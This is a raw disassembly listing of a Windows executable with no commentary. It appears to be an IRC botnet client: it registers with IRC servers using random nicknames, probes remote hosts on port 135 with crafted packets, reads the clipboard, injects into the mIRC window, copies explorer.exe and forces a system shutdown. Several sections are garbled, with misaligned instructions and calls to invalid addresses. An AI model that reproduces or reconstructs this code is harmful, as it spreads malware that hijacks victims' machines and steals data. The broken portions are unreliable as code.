jb loc_417A9A
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41B780
lea eax, [ebp+var_2008]
push eax
call sub_417B38
lea eax, [ebp+var_4008]
push eax
call sub_417B38
lea eax, [ebp+var_3008]
push eax
call sub_417B38
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41BA76
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push ds:dword_4D6C4C[esi]
call ds:dword_4CDC48 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B780
add esp, 0Ch
loc_4179F4: ; CODE XREF: sub_41791B+17Aj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push ds:dword_4D6C4C[esi]
call ds:dword_4CDC10 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417A9A
xor eax, eax
cmp [ebp+var_8], ebx
jmp short loc_417A90
; ---------------------------------------------------------------------------
loc_417A28: ; CODE XREF: sub_41791B+178j
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417A4F
cmp al, 0Ah
jz short loc_417A4F
cmp [ebp+arg_0], 0FA0h
jz short loc_417A4F
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417A89
; ---------------------------------------------------------------------------
loc_417A4F: ; CODE XREF: sub_41791B+116j
; sub_41791B+11Aj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417A89
push ds:dword_4D6C4C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417826
pop ecx
test eax, eax
pop ecx
ja short loc_417A9A
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417A89: ; CODE XREF: sub_41791B+132j
; sub_41791B+139j
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
loc_417A90: ; CODE XREF: sub_41791B+10Bj
mov [ebp+var_4], eax
jnz short loc_417A28
jmp loc_4179F4
; ---------------------------------------------------------------------------
loc_417A9A: ; CODE XREF: sub_41791B+40j
; sub_41791B+104j ...
mov ds:dword_4D6C48[esi], ebx
mov esi, ds:dword_4D6C4C[esi]
cmp esi, ebx
jbe short loc_417AB1
push esi
call ds:dword_4CDC90 ; closesocket
loc_417AB1: ; CODE XREF: sub_41791B+18Dj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_41791B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ABA proc near ; CODE XREF: seg000:00404CF7p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_417B33
loc_417ACC: ; CODE XREF: sub_417ABA+77j
xor edi, edi
mov eax, offset dword_4D6C48
loc_417AD3: ; CODE XREF: sub_417ABA+28j
cmp [eax], ebx
jz short loc_417AE4
add eax, 210h
inc edi
cmp eax, offset dword_4DD368
jl short loc_417AD3
loc_417AE4: ; CODE XREF: sub_417ABA+1Bj
cmp edi, 31h
jz short loc_417B33
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4D6C54[esi]
push eax
call sub_41C0A0
mov eax, [ebp+arg_4]
pop ecx
mov ds:dword_4D6E54[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov ds:dword_4D6C48[esi], 1
push eax
push ebx
push edi
push offset sub_41791B
push ebx
push ebx
call ds:dword_42807C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417ACC
loc_417B33: ; CODE XREF: sub_417ABA+10j
; sub_417ABA+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417ABA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417B38 proc near ; CODE XREF: seg000:0040524Ap
; seg000:0040528Dp ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B780
add esp, 0Ch
call sub_41BAD2
mov [ebp+var_4], eax
fild [ebp+var_4]
fmul ds:dbl_4286F8
call sub_41C988
cmp eax, 1
jnz short loc_417B82
call sub_41BAD2
call sub_41BAD2
push 66h
cdq
pop ecx
idiv ecx
push ds:off_43AB60[edx*4]
jmp short loc_417B9B
; ---------------------------------------------------------------------------
loc_417B82: ; CODE XREF: sub_417B38+2Fj
call sub_41BAD2
call sub_41BAD2
cdq
mov ecx, 0C0h
idiv ecx
push ds:off_43A860[edx*4]
loc_417B9B: ; CODE XREF: sub_417B38+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C0A0
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B1D0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
call sub_41BAD2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul ds:dbl_4286F0
call sub_41C988
mov ebx, eax
call sub_41BAD2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fimul [ebp+var_4]
fmul ds:dbl_4286E8
call sub_41C988
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417C0E
cmp esi, 3
jnz short loc_417C05
cmp ebx, 1
jz short loc_417C0E
loc_417C05: ; CODE XREF: sub_417B38+C6j
cmp eax, 1
jnz loc_417CC7
loc_417C0E: ; CODE XREF: sub_417B38+C1j
; sub_417B38+CBj
call sub_41BAD2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul ds:dbl_4286E0
call sub_41C988
push ds:off_43AB60[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C0A0
lea ebx, [ebp+esi+var_2C]
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C1A0
add esp, 10h
test eax, eax
jnz short loc_417CB4
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C1A0
pop ecx
test eax, eax
pop ecx
jnz short loc_417CB4
call sub_41BAD2
mov dword ptr [ebp+var_10+4], eax
dec esi
fild dword ptr [ebp+var_10+4]
mov dword ptr [ebp+var_10+4], esi
fild dword ptr [ebp+var_10+4]
fmulp st(1), st
fmul ds:dbl_4286E8
call sub_41C988
cmp eax, 1
jnz short loc_417CB4
push edi
call sub_41B1D0
and dword ptr [ebp+var_10+4], 0
mov dword ptr [ebp+var_10], eax
fild [ebp+var_10]
pop ecx
fstp qword ptr [ebp-8]
call sub_41BAD2
mov dword ptr [ebp+var_10+4], eax
fild dword ptr [ebp+var_10+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_4286E8
call sub_41C988
mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_417CB4: ; CODE XREF: sub_417B38+110j
; sub_417B38+121j ...
push dword ptr [ebp+var_18+4]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C3D0
add esp, 0Ch
loc_417CC7: ; CODE XREF: sub_417B38+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B1D0
mov esi, eax
mov [ebp+var_4], esi
movsx eax, [ebp+esi+var_2D]
push eax
call sub_41D868
pop ecx
test eax, eax
pop ecx
jnz loc_417F1E
movsx eax, [ebp+esi+var_2D]
push eax
push edi
xor ebx, ebx
call sub_41C1A0
pop ecx
test eax, eax
pop ecx
jnz loc_417E20
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4286E8
call sub_41C988
cmp esi, 3
jz short loc_417D31
cmp eax, 1
jnz loc_417E20
loc_417D31: ; CODE XREF: sub_417B38+1EEj
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417D75
push edi
call sub_41B1D0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul ds:dbl_4286E8
call sub_41C988
mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417D93
; ---------------------------------------------------------------------------
loc_417D75: ; CODE XREF: sub_417B38+202j
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286D8
call sub_41C988
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417D93: ; CODE XREF: sub_417B38+23Bj
inc esi
xor ebx, ebx
mov [ebp+var_4], esi
inc ebx
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286D0
call sub_41C988
cmp esi, 3
jz short loc_417DB9
cmp eax, ebx
jnz short loc_417E20
loc_417DB9: ; CODE XREF: sub_417B38+27Bj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_417DFE
push edi
call sub_41B1D0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp [ebp+var_10]
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul [ebp+var_10]
fmul ds:dbl_4286E8
call sub_41C988
mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417E1C
; ---------------------------------------------------------------------------
loc_417DFE: ; CODE XREF: sub_417B38+28Bj
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286D8
call sub_41C988
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417E1C: ; CODE XREF: sub_417B38+2C4j
inc esi
mov [ebp+var_4], esi
loc_417E20: ; CODE XREF: sub_417B38+1C4j
; sub_417B38+1F3j ...
cmp esi, 6
jge short loc_417EA0
call sub_41BAD2
cmp esi, 5
jge short loc_417E3D
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286F0
jmp short loc_417E56
; ---------------------------------------------------------------------------
loc_417E3D: ; CODE XREF: sub_417B38+2F5j
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4286E8
loc_417E56: ; CODE XREF: sub_417B38+303j
call sub_41C988
test eax, eax
jnz short loc_417E79
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286C8
call sub_41C988
mov cl, 30h
jmp short loc_417E96
; ---------------------------------------------------------------------------
loc_417E79: ; CODE XREF: sub_417B38+325j
cmp eax, 1
jnz short loc_417EA0
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286D8
call sub_41C988
mov cl, 41h
loc_417E96: ; CODE XREF: sub_417B38+33Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417EA0: ; CODE XREF: sub_417B38+2EBj
; sub_417B38+344j
cmp ebx, 2
jge short loc_417F1E
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4286E8
call sub_41C988
cmp eax, 1
jnz short loc_417F1E
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286C8
call sub_41C988
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286C0
call sub_41C988
cmp eax, 1
jnz short loc_417F1E
cmp ebx, eax
jge short loc_417F1E
call sub_41BAD2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4286B8
call sub_41C988
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417F1E: ; CODE XREF: sub_417B38+1ACj
; sub_417B38+36Bj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41B7E0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F37 proc near ; CODE XREF: sub_417F6F+125p
; sub_417F6F+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_417F65
loc_417F48: ; CODE XREF: sub_417F37+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41D8C0
add esp, 0Ch
test eax, eax
jz short loc_417F6B
inc esi
cmp esi, edi
jl short loc_417F48
loc_417F65: ; CODE XREF: sub_417F37+Fj
xor al, al
loc_417F67: ; CODE XREF: sub_417F37+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_417F6B: ; CODE XREF: sub_417F37+27j
mov al, 1
jmp short loc_417F67
sub_417F37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F6F proc near ; CODE XREF: sub_40DDDF+8Bp
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41BD10
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_417FB0
dec eax
jz short loc_417F8E
dec eax
loc_417F88: ; CODE XREF: sub_417F6F+57j
xor eax, eax
loc_417F8A: ; CODE XREF: sub_417F6F+3Fj
; sub_417F6F+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_417F8E: ; CODE XREF: sub_417F6F+16j
push 3
push 1388h
push [ebp+arg_0]
call ds:dword_4CDC38 ; inet_addr
push eax
call sub_40BEF1
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_417F8A
; ---------------------------------------------------------------------------
loc_417FB0: ; CODE XREF: sub_417F6F+13j
push 6
push 1
push 2
call ds:dword_4CDC78 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_417F88
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41B780
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call ds:dword_4CDBF8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A9E8
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_4CDBA0 ; connect
cmp eax, edi
jz loc_4180CC
push ebx
push 48h
push offset dword_43B468
push esi
call ds:dword_4CDC48 ; send
cmp eax, edi
jz loc_4180CC
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_4CDC10 ; recv
cmp eax, edi
jz loc_4180CC
cmp [ebp+var_200E], 0Ch
jnz short loc_4180CC
push ebx
push 18h
push offset dword_43B4B4
push [ebp+arg_4]
call ds:dword_4CDC48 ; send
cmp eax, edi
jz short loc_4180CC
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_4CDC10 ; recv
mov esi, eax
cmp esi, edi
jz short loc_4180CC
cmp [ebp+var_200E], 2
jnz short loc_4180CC
push 10h
push offset loc_43B4D0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_417F37
add esp, 10h
test al, al
jz short loc_4180AC
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4180CC
; ---------------------------------------------------------------------------
loc_4180AC: ; CODE XREF: sub_417F6F+12Fj
push 10h
push offset dword_43B4E4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_417F37
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4180CC: ; CODE XREF: sub_417F6F+9Bj
; sub_417F6F+B2j ...
push [ebp+arg_4]
call ds:dword_4CDC90 ; closesocket
mov eax, ebx
pop ebx
jmp loc_417F8A
sub_417F6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180DD proc near ; CODE XREF: seg000:00402697p
; seg000:004026D1p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_418168
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_418168
cmp [ebp+arg_8], esi
jz short loc_418168
cmp byte ptr [eax], 0
jz short loc_418168
push ebx
push edi
call sub_426689
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_418163
push [ebp+arg_4]
push edi
call sub_41BAF0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_41815C
sub eax, edi
push eax
push edi
push ebx
call sub_41B7E0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B1D0
push eax
push [ebp+arg_8]
push ebx
call sub_41C3D0
push [ebp+arg_4]
call sub_41B1D0
add eax, esi
push eax
push ebx
call sub_41C0B0
push ebx
push edi
call sub_41C0A0
add esp, 30h
mov esi, edi
loc_41815C: ; CODE XREF: sub_4180DD+3Cj
push ebx
call sub_41B2A1
pop ecx
loc_418163: ; CODE XREF: sub_4180DD+2Bj
mov eax, esi
pop ebx
jmp short loc_41816A
; ---------------------------------------------------------------------------
loc_418168: ; CODE XREF: sub_4180DD+Cj
; sub_4180DD+13j ...
xor eax, eax
loc_41816A: ; CODE XREF: sub_4180DD+89j
pop edi
pop esi
pop ebp
retn
sub_4180DD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41816E proc near ; CODE XREF: sub_4019DB+DCp
var_7D0 = dword ptr -7D0h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push edi
xor ebx, ebx
push 7D0h
lea eax, [ebp+var_7D0]
push ebx
push eax
call sub_41B780
mov esi, [ebp+arg_0]
push esi
call sub_41B1D0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_4181A6
or eax, 0FFFFFFFFh
jmp short loc_41820D
; ---------------------------------------------------------------------------
loc_4181A6: ; CODE XREF: sub_41816E+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_7D0], esi
jle short loc_4181C7
loc_4181B2: ; CODE XREF: sub_41816E+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4181BF
cmp dl, 0Dh
jnz short loc_4181C2
loc_4181BF: ; CODE XREF: sub_41816E+4Aj
mov [ecx+esi], bl
loc_4181C2: ; CODE XREF: sub_41816E+4Fj
inc ecx
cmp ecx, eax
jl short loc_4181B2
loc_4181C7: ; CODE XREF: sub_41816E+42j
xor edx, edx
cmp eax, ebx
jle short loc_4181EF
loc_4181CD: ; CODE XREF: sub_41816E+7Fj
cmp [edx+esi], bl
jnz short loc_4181EA
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_4181EA
cmp edi, 1F4h
jge short loc_4181EF
mov [ebp+edi*4+var_7D0], ecx
inc edi
loc_4181EA: ; CODE XREF: sub_41816E+62j
; sub_41816E+6Aj
inc edx
cmp edx, eax
jl short loc_4181CD
loc_4181EF: ; CODE XREF: sub_41816E+5Dj
; sub_41816E+72j
cmp [ebp+arg_4], ebx
jz short loc_41820B
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41C500
add esp, 0Ch
loc_41820B: ; CODE XREF: sub_41816E+84j
mov eax, edi
loc_41820D: ; CODE XREF: sub_41816E+36j
pop edi
pop esi
pop ebx
leave
retn
sub_41816E endp
; =============== S U B R O U T I N E =======================================
sub_418212 proc near ; CODE XREF: sub_41826C+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_41824B
push ebx
mov ebx, edi
loc_41822F: ; CODE XREF: sub_418212+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_41824E
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_41822F
pop ebx
loc_41824B: ; CODE XREF: sub_418212+18j
pop edi
pop esi
retn
sub_418212 endp
; =============== S U B R O U T I N E =======================================
sub_41824E proc near ; CODE XREF: sub_418212+25p
; sub_41826C+69p
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41D96C
cmp al, 61h
pop ecx
jl short loc_418269
cmp al, 7Ah
jg short loc_418269
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_418269: ; CODE XREF: sub_41824E+Ej
; sub_41824E+12j
xor eax, eax
retn
sub_41824E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41826C proc near ; CODE XREF: seg000:0041542Fp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41BD10
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B1D0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B1D0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418212
add esp, 14h
dec esi
mov edi, esi
jmp short loc_41831E
; ---------------------------------------------------------------------------
loc_4182AC: ; CODE XREF: sub_41826C+B4j
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D96C
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41D96C
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41831C
loc_4182CE: ; CODE XREF: sub_41826C+AEj
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_41824E
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_4182EF
mov eax, ecx
loc_4182EF: ; CODE XREF: sub_41826C+7Fj
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41832C
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41D96C
movsx ecx, byte ptr [edi+ebx]
push ecx
mov [ebp+var_8], eax
call sub_41D96C
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4182CE
loc_41831C: ; CODE XREF: sub_41826C+60j
dec edi
dec esi
loc_41831E: ; CODE XREF: sub_41826C+3Ej
test esi, esi
jg short loc_4182AC
mov eax, [ebp+arg_0]
add eax, edi
loc_418327: ; CODE XREF: sub_41826C+C2j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41832C: ; CODE XREF: sub_41826C+88j
xor eax, eax
jmp short loc_418327
sub_41826C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418330 proc near ; CODE XREF: seg000:004092B4p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_42808C ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 0B10000h
dec eax
lea eax, [ebp+var_100]
loc_418369: ; CODE XREF: sub_418330+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_418375
cmp cl, 9
jnz short loc_418378
loc_418375: ; CODE XREF: sub_418330+3Ej
inc eax
jmp short loc_418369
; ---------------------------------------------------------------------------
loc_418378: ; CODE XREF: sub_418330+43j
; sub_418330+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_418392
mov cl, [eax]
cmp cl, 2Eh
jz short loc_418378
cmp cl, 21h
jl short loc_418378
loc_418392: ; CODE XREF: sub_418330+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DD368
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41BB70
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418330 endp
; =============== S U B R O U T I N E =======================================
sub_4183BA proc near ; CODE XREF: seg000:00403F47p
push esi
push 0
call ds:dword_4CDBC8 ; OpenClipboard
test eax, eax
jz short loc_4183F1
push 1
call ds:dword_4CDBE8 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_4183F1
push edi
push esi
call ds:dword_428164 ; GlobalLock
push esi
mov edi, eax
call ds:dword_428160 ; GlobalUnlock
call ds:dword_4CDC4C ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4183F1: ; CODE XREF: sub_4183BA+Bj
; sub_4183BA+19j
xor eax, eax
pop esi
retn
sub_4183BA endp
; ---------------------------------------------------------------------------
loc_4183F5: ; CODE XREF: seg000:0040905Fp
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call ds:dword_4CDC04 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_418471
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 0B10000h
xor dl, [esi+56h]
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 0B10000h
cmp bh, bh
jz short loc_418458
adc al, 8Bh
fcom dword ptr [ebx-18h]
cmp [esi], esi
; ---------------------------------------------------------------------------
db 0
dd 56595900h, 0C868016Ah, 55000004h, 0DC5415FFh, 6A56004Ch
dd 4C96801h, 0FF550000h
; ---------------------------------------------------------------------------
loc_418458: ; CODE XREF: seg000:00418432j
adc eax, offset dword_4CDC54
push ebx
call near ptr 0B10000h
dec esp
push edi
call ds:dword_42806C ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_418473
; ---------------------------------------------------------------------------
loc_418471: ; CODE XREF: seg000:0041840Bj
xor eax, eax
loc_418473: ; CODE XREF: seg000:0041846Fj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp-11Ch]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call ds:dword_4CDCB0 ; SearchPathA
test eax, eax
jz short near ptr loc_418512+4
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, ds:dword_4280EC
push 1
lea eax, [ebp-11Ch]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short near ptr loc_418512+4
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push ebx
call near ptr 0F50004h
mov byte ptr [ebx-75h], 1Dh
insb
add byte ptr [edx+0], 0FFh
shr dword ptr [edx+0], cl
push edi
push 3
push 0
push 2
push 40000000h
push dword ptr [ebp+8]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short near ptr loc_418512+4
lea eax, [ebp-18h]
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-10h]
push eax
push esi
call near ptr 0F70004h
loc_418512: ; CODE XREF: seg000:004184A1j
; seg000:004184C8j ...
sbb eax, 5FD3FF56h
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_41851B proc near ; CODE XREF: seg000:00403140p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419828
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_4CDB38 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_41851B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
